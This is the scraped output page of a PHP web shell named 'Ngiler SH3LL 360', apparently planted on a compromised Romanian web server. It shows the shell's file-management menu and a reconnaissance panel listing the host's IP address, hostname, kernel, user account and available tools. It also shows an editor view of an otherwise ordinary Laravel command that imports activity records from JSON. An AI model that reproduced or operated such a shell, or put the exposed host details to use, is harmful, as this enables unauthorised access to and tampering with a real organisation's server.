Ngiler SH3LL 360
Home
Information
Create File
Create Folder
:
/
home
/
tbf
/
tbfguestbe.tbf.ro
/
app
/
Console
/
Commands
/
Information Server
MySQL :
OFF
Perl :
OFF
CURL :
ON
WGET :
OFF
PKEXEC :
OFF
Directive
Local Value
IP Address
89.40.16.97
System
Linux server.atelieruldeit.ro 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User
tbf
PHP Version
7.3.33
Software
Apache
Doc root
Writable
close
Edit File :
ImportActivitiesFromExternalSourceCommand.php
| Size :
1.69
KB
Copy
<?php namespace App\Console\Commands; use App\Models\Activity; use App\Models\Position; use Illuminate\Console\Command; class ImportActivitiesFromExternalSourceCommand extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'app:import-activities {filename?} {positionId?} '; /** * The console command description. * * @var string */ protected $description = 'Preiau json de activitati pentru a fi importate in soft'; /** * Execute the console command. */ public function handle() { $filename = $this->argument('filename'); $positionId = $this->argument('positionId'); if ($filename) { $this->info('Numele fișierului furnizat este: ' . $filename); } $jsonFilePath = storage_path($filename ? 'import/'.$filename : ''); $jsonData = file_get_contents($jsonFilePath); $activities = json_decode($jsonData, true); $position = Position::find($positionId); $this->info('Stergem activitati vechi'); Activity::where('position_id', $positionId)->where('generated_by_ai', true)->delete(); $this->info('Incepem insertul pentru ' . count($activities['data']) .' activitati'); try { foreach ($activities['data'] as $activity) { $activity['generated_by_ai'] = 1; $position->activities()->create($activity); } $this->info('S-au importat ' . count($activities['data']) .' activitati'); } catch (\Exception $e) { $this->error('A apărut o eroare în timpul inserarii: ' . $e->getMessage()); } } }
Back